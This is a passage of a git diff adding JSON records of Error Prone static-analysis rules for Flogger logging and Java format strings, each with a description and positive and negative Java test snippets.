+ "description": "negative_allowsSiblingLoggerUse", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n static class A {\n public A() {\n B.logger.atInfo().log();\n }\n }\n\n static class B {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n }" + }, + { + "description": "positive_hidesLoggersFromInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n interface Test {\n static FluentLogger logger = FluentLogger.forEnclosingClass();\n\n default void foo() {\n logger.atInfo().log();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Test {\n default void foo() {\n Private.logger.atInfo().log();\n }\n\n public static final class Private {\n private Private() {}\n\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n }" + }, + { + "description": "positive_extractsHiddenLoggersForInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n interface Test {\n default void foo() {\n FluentLogger.forEnclosingClass().atInfo().log();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Test {\n default void foo() {\n Private.logger.atInfo().log();\n }\n\n public static final class Private {\n private Private() {}\n\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n }" + }, + { + "description": "positive_fixesVisibility", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n public static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }" + }, + { + "description": "positive_goalsDontConflict", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n public FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private final FluentLogger logger = FluentLogger.forEnclosingClass();\n }" + }, + { + "description": "positive_replacesInheritedLogger", + "expected-problems": null, + "expected-linenumbers": [ + 326 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n @SuppressWarnings(\"FloggerRequiredModifiers\")\n class Parent {\n protected static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n \n\n class Child extends Parent {\n Child() {\n logger.atInfo().log(\"child\");\n super.logger.atInfo().log(\"super\");\n Parent.logger.atInfo().log(\"parent\");\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Child extends Parent {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n Child() {\n logger.atInfo().log(\"child\");\n logger.atInfo().log(\"super\");\n logger.atInfo().log(\"parent\");\n }\n }" + }, + { + "description": "positive_doesntCreateSelfReference", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n @SuppressWarnings(\"FloggerRequiredModifiers\")\n class Parent {\n protected static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Child extends Parent {\n private static final FluentLogger logger = Parent.logger;\n\n Child() {\n logger.atInfo().log(\"child\");\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Child extends Parent {\n private static final FluentLogger flogger = FluentLogger.forEnclosingClass();\n private static final FluentLogger logger = flogger;\n\n Child() {\n logger.atInfo().log(\"child\");\n }\n }" + }, + { + "description": "positive_handlesRewritesInMultipleFiles", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n interface Parent {}\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Child extends Parent {\n static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n default void go() {\n logger.atInfo().log();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Child extends Parent {\n default void go() {\n Private.logger.atInfo().log();\n }\n\n public static final class Private {\n private Private() {}\n\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Sibling extends Parent {\n static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n default void go() {\n logger.atInfo().log();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n interface Sibling extends Parent {\n default void go() {\n Private.logger.atInfo().log();\n }\n\n public static final class Private {\n private Private() {}\n\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n }" + }, + { + "description": "negative_allowsSiblingLoggers", + "expected-problems": null, + "expected-linenumbers": [ + 487 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final class Inner {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n\n private void go() {\n Inner.logger.atInfo().log();\n }\n }" + }, + { + "description": "negative_doesntNeedlesslyMoveLoggersToInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n interface Test {\n class Inner {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n private static final class MoreInner {\n private void go() {\n logger.atInfo().log();\n }\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerSplitLogStatement.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerSplitLogStatement.json new file mode 100644 index 0000000..c16144e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerSplitLogStatement.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerSplitLogStatement", + "language": "java", + "description": "Splitting log statements and using Api instances directly breaks logging.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n // BUG: Diagnostic contains:\n FluentLogger.Api getLogger() {\n return logger.atInfo();\n }\n\n void splitLog() {\n // BUG: Diagnostic contains:\n FluentLogger.Api api = logger.atInfo();\n api.log(\"foo\");\n }\n }" + }, + { + "description": "positiveVar", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void splitLog() {\n // BUG: Diagnostic contains:\n var api = logger.atInfo();\n api.log(\"foo\");\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void log() {\n logger.atInfo().log(\"foo\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerStringConcatenation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerStringConcatenation.json new file mode 100644 index 0000000..c2c13d1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerStringConcatenation.json @@ -0,0 +1,54 @@ +{ + "name": "FloggerStringConcatenation", + "language": "java", + "description": "Prefer string formatting using printf placeholders (e.g. %s) instead of string concatenation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "fix", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String CONSTANT = \"constant\";\n\n public void method(String world, int i, long l, float f, double d, boolean b) {\n logger.atInfo().log(\"hello \" + world + i + l + f + (d + \"\" + b) + CONSTANT);\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String CONSTANT = \"constant\";\n\n public void method(String world, int i, long l, float f, double d, boolean b) {\n logger.atInfo().log(\"hello %s%d%d%g%g%s%s\", world, i, l, f, d, b, CONSTANT);\n }\n }" + }, + { + "description": "constant", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String CONSTANT = \"constant\";\n\n public void method() {\n logger.atInfo().log(CONSTANT + \"hello\");\n }\n }" + }, + { + "description": "minus", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(String world, int i) {\n logger.atInfo().log(\"hello \" + world + \" \" + (i - 1));\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(String world, int i) {\n logger.atInfo().log(\"hello %s %d\", world, i - 1);\n }\n }" + }, + { + "description": "numericOps", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(int x, int y) {\n logger.atInfo().log(x + y + \" sum; mean \" + (x + y) / 2);\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(int x, int y) {\n logger.atInfo().log(\"%d sum; mean %d\", x + y, (x + y) / 2);\n }\n }" + }, + { + "description": "multipleArguments", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(String hello, String world) {\n logger.atInfo().log(\"message is %s \" + hello, world);\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(String hello, String world) {\n logger.atInfo().log(\"message is %s %s\", hello, world);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithCause.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithCause.json new file mode 100644 index 0000000..0d31b3a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithCause.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerWithCause", + "language": "java", + "description": "Calling withCause(Throwable) with an inline allocated Throwable is discouraged. Consider using withStackTrace(StackSize) instead, and specifying a reduced stack size (e.g. SMALL, MEDIUM or LARGE) instead of FULL, to improve performance.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import com.google.common.flogger.FluentLogger;\n import java.io.IOException;\n\n class Test {\n abstract static class MyException extends IOException {\n public abstract String foo();\n }\n\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(Exception e, MyException e2) {\n // BUG: Diagnostic contains: logger.atSevere().withStackTrace(MEDIUM).log(\"msg\");\n logger.atSevere().withCause(new Error()).log(\"msg\");\n logger.atSevere().withCause(new Error(e2.foo())).log(\"msg\");\n FluentLogger.Api severeLogger = logger.atSevere();\n // BUG: Diagnostic contains: severeLogger.withStackTrace(MEDIUM).log(\"message\");\n severeLogger.withCause(new IllegalArgumentException()).log(\"message\");\n // BUG: Diagnostic contains:\n // logger.atSevere().withCause(e).log(\"message\");\n // logger.atSevere().withStackTrace(MEDIUM).withCause(e).log(\"message\");\n logger.atSevere().withCause(new Throwable(e)).log(\"message\");\n // BUG: Diagnostic contains:\n // logger.atSevere().withCause(e).log(\"message\");\n // logger.atSevere().withStackTrace(MEDIUM).withCause(e).log(\"message\");\n logger.atSevere().withCause(new SecurityException(e)).log(\"message\");\n // BUG: Diagnostic contains:\n // logger.atSevere().withCause(e).log(\"msg\");\n // logger.atSevere().withStackTrace(MEDIUM).withCause(e).log(\"msg\");\n logger.atSevere().withCause(new NumberFormatException(e.getMessage())).log(\"msg\");\n // BUG: Diagnostic contains:\n // logger.atSevere().withCause(e).log(\"message\");\n // logger.atSevere().withStackTrace(MEDIUM).withCause(e).log(\"message\");\n logger.atSevere().withCause(new Exception(e.toString())).log(\"message\");\n // BUG: Diagnostic contains:\n // logger.atSevere().withCause(e.getCause()).log(\"message\");\n // logger.atSevere().withStackTrace(MEDIUM).withCause(e.getCause()).log(\"message\");\n logger.atSevere().withCause(new RuntimeException(e.getCause())).log(\"message\");\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import static com.google.common.flogger.StackSize.FULL;\n import static com.google.common.flogger.StackSize.MEDIUM;\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(Exception e) {\n logger.atSevere().log(null);\n logger.atSevere().log(\"hello\");\n logger.atSevere().log(\"hello %d\", 1);\n logger.atSevere().withCause(e).log(\"some log message\");\n logger.atSevere().withStackTrace(FULL).log(\"some log message\");\n logger.atSevere().withStackTrace(MEDIUM).withCause(e).log(\"some log message\");\n logger.atSevere().withCause(new NumberFormatException()).log(\"message\");\n }\n }" + }, + { + "description": "breakBeforeWithCause", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(Exception e) {\n logger.atSevere().withCause(new IllegalArgumentException()).log(\"message\");\n }\n }\n \n\n import static com.google.common.flogger.StackSize.MEDIUM;\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void method(Exception e) {\n logger.atSevere().withStackTrace(MEDIUM).log(\"message\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithoutCause.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithoutCause.json new file mode 100644 index 0000000..868ed7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithoutCause.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerWithoutCause", + "language": "java", + "description": "Use withCause to associate Exceptions with log statements", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Exception e, Throwable t) {\n // BUG: Diagnostic contains: logger.atInfo().withCause(e).log(\"hello %s\", e);\n logger.atInfo().log(\"hello %s\", e);\n // BUG: Diagnostic contains: .atInfo().withCause(t).log(\"hello %s\", e, t);\n logger.atInfo().log(\"hello %s\", e, t);\n }\n }" + }, + { + "description": "positiveSubtype", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(ReflectiveOperationException e) {\n // BUG: Diagnostic contains: logger.atInfo().withCause(e).log(\"hello %s\", e);\n logger.atInfo().log(\"hello %s\", e);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Exception e, Throwable t) {\n logger.atInfo().log(null);\n logger.atInfo().log(\"hello\");\n logger.atInfo().log(\"hello %s\", 1);\n logger.atInfo().withCause(e).log(\"hello %s\", e);\n logger.atInfo().withCause(e).log(\"hello %s\", e, t);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/AnnotateFormatMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/AnnotateFormatMethod.json new file mode 100644 index 0000000..7419209 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/AnnotateFormatMethod.json @@ -0,0 +1,70 @@ +{ + "name": "AnnotateFormatMethod", + "language": "java", + "description": "This method uses a pair of parameters as a format string and its arguments, but the enclosing method wasn't annotated. Doing so gives compile-time rather than run-time protection against malformed format strings.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class AnnotateFormatMethodPositiveCases {\n // BUG: Diagnostic contains: FormatMethod\n String formatMe(String formatString, Object... args) {\n return String.format(formatString, args);\n }\n }" + }, + { + "description": "passedThroughToLambda", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "class AnnotateFormatMethodPositiveCases {\n // BUG: Diagnostic contains: FormatMethod\n Runnable formatMe(String formatString, Object... args) {\n return () -> String.format(formatString, args);\n }\n }" + }, + { + "description": "passedThroughToAnonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class AnnotateFormatMethodPositiveCases {\n // BUG: Diagnostic contains: FormatMethod\n Runnable formatMe(String formatString, Object... args) {\n return new Runnable() {\n @Override\n public void run() {\n String.format(formatString, args);\n }\n };\n }\n }" + }, + { + "description": "formatted", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class AnnotateFormatMethodPositiveCases {\n // BUG: Diagnostic contains: FormatMethod\n String formatMe(String formatString, Object... args) {\n return formatString.formatted(args);\n }\n }" + }, + { + "description": "alreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n class AnnotateFormatMethodNegativeCases {\n @FormatMethod\n String formatMe(@FormatString String formatString, Object... args) {\n return String.format(formatString, args);\n }\n }" + }, + { + "description": "notTerminalArguments", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "class AnnotateFormatMethodNegativeCases {\n // BUG: Diagnostic contains: reordered\n String formatMe(String formatString, String surprise, Object... args) {\n return String.format(formatString, args);\n }\n }" + }, + { + "description": "notVarArgs", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "class AnnotateFormatMethodNegativeCases {\n String formatMe(String formatString, String justTheOneArgument) {\n return String.format(formatString, justTheOneArgument);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatString.json new file mode 100644 index 0000000..ad17978 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatString.json @@ -0,0 +1,398 @@ +{ + "name": "FormatString", + "language": "java", + "description": "Invalid printf-style format string", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "duplicateFormatFlags", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "formatFlagsConversionMismatch", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "" + }, + { + "description": "illegalFormatCodePoint", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "" + }, + { + "description": "illegalFormatConversion", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "" + }, + { + "description": "illegalFormatFlags", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "" + }, + { + "description": "illegalFormatPrecision", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "" + }, + { + "description": "illegalFormatWidth", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "" + }, + { + "description": "missingFormatArgument", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "" + }, + { + "description": "missingFormatWidth", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "" + }, + { + "description": "unknownFormatConversion", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "" + }, + { + "description": "cStyleLongConversion", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "" + }, + { + "description": "cStyleLongConversion2", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "" + }, + { + "description": "cStyleLongConversion3", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "" + }, + { + "description": "cStyleLongConversion4", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "" + }, + { + "description": "cStyleLongConversion5", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "" + }, + { + "description": "conditionalExpression", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "" + }, + { + "description": "conditionalExpression2", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "" + }, + { + "description": "conditionalExpression3", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "" + }, + { + "description": "conditionalExpression4", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "" + }, + { + "description": "conditionalExpression5", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "" + }, + { + "description": "missingArguments", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: missing argument for format specifier '%s'\n String.format(\"%s %s %s\", 42);\n // BUG: Diagnostic contains: missing argument for format specifier '%s'\n String.format(\"%s %s %s\", 42, 42);\n String.format(\"%s %s %s\", 42, 42, 42);\n }\n }" + }, + { + "description": "extraArguments", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "class Test {\n void f() {\n String.format(\"%s %s\", 1, 2);\n // BUG: Diagnostic contains: extra format arguments: used 2, provided 3\n String.format(\"%s %s\", 1, 2, 3);\n // BUG: Diagnostic contains: extra format arguments: used 2, provided 4\n String.format(\"%s %s\", 1, 2, 3, 4);\n // BUG: Diagnostic contains: extra format arguments: used 0, provided 1\n String.format(\"{0}\", 1);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "class Test {\n void f(boolean b) {\n String.format(\"%d\", 42);\n String.format(\"%d\", 42L);\n String.format(\"%f\", 42.0f);\n String.format(\"%f\", 42.0d);\n String.format(\"%s\", \"hello\");\n String.format(\"%s\", 42);\n String.format(\"%s\", (Object) null);\n String.format(\"%s\", new Object());\n String.format(\"%c\", 'c');\n String.format(b ? \"%s\" : \"%d\", 42);\n }\n }" + }, + { + "description": "printfMethods_stringFormat", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "" + }, + { + "description": "printfMethods_stringFormatWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "" + }, + { + "description": "printfMethods_printWriterFormat", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "" + }, + { + "description": "printfMethods_printWriterFormatWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "" + }, + { + "description": "printfMethods_printWriterPrintf", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "" + }, + { + "description": "printfMethods_printWriterPrintfWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "" + }, + { + "description": "printfMethods_printStreamFormat", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "" + }, + { + "description": "printfMethods_printStreamFormatWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "" + }, + { + "description": "printfMethods_printStreamPrintf", + "expected-problems": null, + "expected-linenumbers": [ + 264 + ], + "code": "" + }, + { + "description": "printfMethods_printStreamPrintfWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "" + }, + { + "description": "printfMethods_formatterFormatWithLocale", + "expected-problems": null, + "expected-linenumbers": [ + 274 + ], + "code": "" + }, + { + "description": "printfMethods_consolePrintf", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "" + }, + { + "description": "printfMethods_consoleFormat", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "" + }, + { + "description": "printfMethods_consoleFormat_noErrorsWithEmptyArgs", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "class Test {\n void f() {\n System.console().readLine();\n }\n }" + }, + { + "description": "printfMethods_consoleReadline", + "expected-problems": null, + "expected-linenumbers": [ + 305 + ], + "code": "" + }, + { + "description": "printfMethods_consoleReadPassword", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "" + }, + { + "description": "nullArgument", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "class Test {\n void f() {\n String.format(\"%s %s\", null, null);\n }\n }" + }, + { + "description": "javaUtilTime", + "expected-problems": null, + "expected-linenumbers": [ + 330 + ], + "code": "import java.time.*;\n\nclass Test {\n void f() {\n System.err.printf(\"%tY\", LocalDateTime.ofInstant(Instant.now(), ZoneId.systemDefault()));\n System.err.printf(\"%tQ\", Instant.now());\n System.err.printf(\n \"%tZ\",\n ZonedDateTime.of(\n LocalDate.of(2018, 12, 27), LocalTime.of(17, 0), ZoneId.of(\"Europe/London\")));\n }\n}" + }, + { + "description": "number", + "expected-problems": null, + "expected-linenumbers": [ + 352 + ], + "code": "class Test {\n void f(Number n) {\n System.err.printf(\"%x\", n);\n }\n }" + }, + { + "description": "invalidIndex", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "class T {\n public static void main(String[] args) {\n // BUG: Diagnostic contains: Illegal format argument index\n System.err.printf(\" %0$2s) %s\", args[0], args[1]);\n }\n }" + }, + { + "description": "stringFormattedNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 383 + ], + "code": "class Test {\n void f() {\n \"%s %s\".formatted(\"foo\", \"baz\");\n }\n }" + }, + { + "description": "stringFormattedPositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: missing argument for format specifier\n \"%s %s %s\".formatted(\"foo\", \"baz\");\n }\n }" + }, + { + "description": "nonConstantStringFormattedNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 414 + ], + "code": "class Test {\n void f(String f) {\n f.formatted(\"foo\", \"baz\");\n }\n }" + }, + { + "description": "finalVariable_isConstant", + "expected-problems": null, + "expected-linenumbers": [ + 429 + ], + "code": "class T {\n public static void main() {\n final String formatString = \" %0$2s) %s\";\n // BUG: Diagnostic contains:\n System.err.printf(formatString, \"foo\", \"bar\");\n }\n }" + }, + { + "description": "effectivelyFinalVariable_isNotConstant", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "class T {\n public static void main() {\n String formatString = \" %0$2s) %s\";\n System.err.printf(formatString, \"foo\", \"bar\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatStringAnnotationChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatStringAnnotationChecker.json new file mode 100644 index 0000000..e84c1b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatStringAnnotationChecker.json @@ -0,0 +1,126 @@ +{ + "name": "FormatStringAnnotationChecker", + "language": "java", + "description": "Invalid format string passed to formatting method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 136, + "branches": 15, + "apis": 1, + "test": [ + { + "description": "matches_failsWithNonMatchingFormatArgs", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n @FormatMethod\n public static void callLog(@FormatString String s, Object arg, Object arg2) {\n // BUG: Diagnostic contains: The number of format arguments passed with an\n log(s, \"test\");\n // BUG: Diagnostic contains: The format argument types passed with an\n log(s, \"test1\", \"test2\");\n }\n }" + }, + { + "description": "matches_succeedsWithMatchingFormatStringAndArgs", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n @FormatMethod\n public static void callLog(@FormatString String s, Object arg) {\n log(s, arg);\n }\n }" + }, + { + "description": "matches_succeedsForMatchingFormatMethodWithImplicitFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n @FormatMethod\n public static void callLog(String s, Object arg) {\n log(s, arg);\n }\n }" + }, + { + "description": "matches_failsWithMismatchedFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "package test;\n\n import 